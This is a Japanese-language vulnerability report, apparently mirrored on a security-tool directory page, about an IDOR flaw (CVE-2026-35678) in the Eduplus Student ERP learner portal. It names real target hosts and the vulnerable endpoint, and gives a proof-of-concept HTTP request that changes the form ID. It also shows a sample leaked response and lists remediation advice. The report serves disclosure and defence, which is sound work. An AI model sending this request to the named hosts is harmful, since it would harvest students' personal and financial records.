Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-35678 — # Eduplus Student ERP におけるIDORの詳細な脆弱性調査レポート 技術的分析、PoC、影響評価、および是正推奨事項を含む、Eduplus Student ERPのIDORに関する詳細な脆弱性調査レポート。 | Kitploit
ツール/GitHubGitHub/sharma19d/cve-2026-35678
脆弱性分析エクスプロイト情報収集ウェブセキュリティペネトレーションテスト
GitHubsharma19d/cve-2026-35678

CVE-2026-35678

# Eduplus Student ERP におけるIDORの詳細な脆弱性調査レポート 技術的分析、PoC、影響評価、および是正推奨事項を含む、Eduplus Student ERPのIDORに関する詳細な脆弱性調査レポート。

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

脆弱性調査レポート: All Eduplus Student ERP の安全でない直接オブジェクト参照 (IDOR)

研究者: Vinay Sharma

1. エグゼクティブサマリー

本レポートは、Eduplus Student ERP プラットフォーム、特に学生学習者ポータル (learnerapi.pceterp.in) において特定された高深刻度のセキュリティ脆弱性について詳述するものです。本アプリケーションは、試験フォーム提出エンドポイントに普遍的な安全でない直接オブジェクト参照 (IDOR) の脆弱性を抱えており、認証された任意のユーザー (学生) がフォーム識別子を操作することで、他の任意の学生の機密の個人情報および財務データを取得することが可能です。

この脆弱性により、個人を特定できる情報 (PII) や詳細な財務取引監査証跡を含む学生記録の大規模なデータ収集が可能になります。


2. 脆弱性の詳細

  • 対象ホスト: learnerapi.pceterp.in、learner.zealerp.in、learner.despu.edu.in など
  • 影響を受けるエンドポイント: POST /ExamForm/viewSubmitExamForm
  • 脆弱性の種類:
    • 安全でない直接オブジェクト参照 (IDOR) [CWE-639]
    • 弱い暗号化 (ハードコードされた鍵を使用した AES-ECB) [CWE-327、CWE-798]
  • 機密データの露出 [CWE-312]
  • 深刻度: 高 (推定 CVSS v3.1: 7.5 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

  • 3. 技術的分析

    3.1 安全でない直接オブジェクト参照 (IDOR)

    この脆弱性は viewSubmitExamForm エンドポイントに存在します。サーバーは、取得するレコードを識別するためにクライアントが提供する2つのパラメータに依存しています。

    1. リクエストボディ: {"formid": "XXXXX"}
    2. HTTP ヘッダー: Router-Path: /view-pcu-exam-form/XXXXX

    ユーザーは認証されている必要がありますが、サーバーは認証された学生が要求された formid に関連付けられたデータを閲覧する権限を持っているかどうかを検証できていません。数値 ID を順に試すことで、攻撃者は他の学生の記録にアクセスできます。

    4. 概念実証 (PoC)

    4.1 IDOR の悪用

    変更した formid を使用した脆弱なエンドポイントへの標準的な POST リクエストにより、機密の学生データが取得されます。

    リクエスト:

    root@kitploit:~
    POST /ExamForm/viewSubmitExamForm HTTP/2
    Host: learnerapi.pceterp.in
    Content-Type: application/json
    Router-Path: /view-pcu-exam-form/28984
    ... (認証済みヘッダー) ...
    
    {"formid":"28984"}
    

    レスポンス (漏洩データの概要):

    root@kitploit:~
    {
      "status": "200",
      "examFormname": "B.Tech - Sem VI - Regular",
      "receipt_no": "REC/2023/54321",
      "feespaiddate": "2023-10-15",
      "ispaymentdone": {
        "username": "[email protected]",
        "received_amount": "1500.0",
        "updation_ip_address": "103.x.x.x",
        "erp_transaction_id": "ERP_998877",
        "bank_transaction_id": "BANK_ABC123",
        "paymentgateway_transaction_id": "PG_XYZ789",
        "learner": {
          "id": "12345"
        }
      }
    }
    
    5
    4
    3
    2
    1

    Idorpoc.mp4 をアップロード中…


    5. 影響評価

    この脆弱性の悪用に成功すると、以下が可能になります:

    • PII の大量露出: 全学生の氏名、メールアドレス、学生 ID、ログイン IP アドレスへのアクセス。
    • 財務データの侵害: 取引履歴、銀行 ID、決済ゲートウェイ参照情報の露出。この情報は極めて機密性が高く、金銭的なソーシャルエンジニアリングや詐欺に悪用される可能性があります。
    • 学術上のプライバシー侵害: 試験フォーム、メンターの割り当て、提出ステータスへの不正アクセス。

    6. 是正の推奨事項

    6.1 認可の修正 (優先度: 高)

    • サーバーサイドの認可チェックの実装: バックエンドは、要求された formid がアクティブなセッションに関連付けられた learnerid に属していることを検証する必要があります。認証されたセッショントークンに対して検証せずに formid または Router-Path パラメータを信頼してはなりません。

    6.3 一般的な強化

    • データ出力の最小化: API が特定の UI ビューに必要なフィールドのみを返すようにします。内部の取引 ID や IP アドレスは、ユーザーのワークフローに絶対に必要でない限り、編集 (マスク) する必要があります。
    • セッションセキュリティ: セッション管理にカスタムの暗号化ヘッダーを使用することを見直し、標準的な強化された JWT またはセキュアな HTTP-only クッキーの使用を検討してください。
    ツールをダウンロード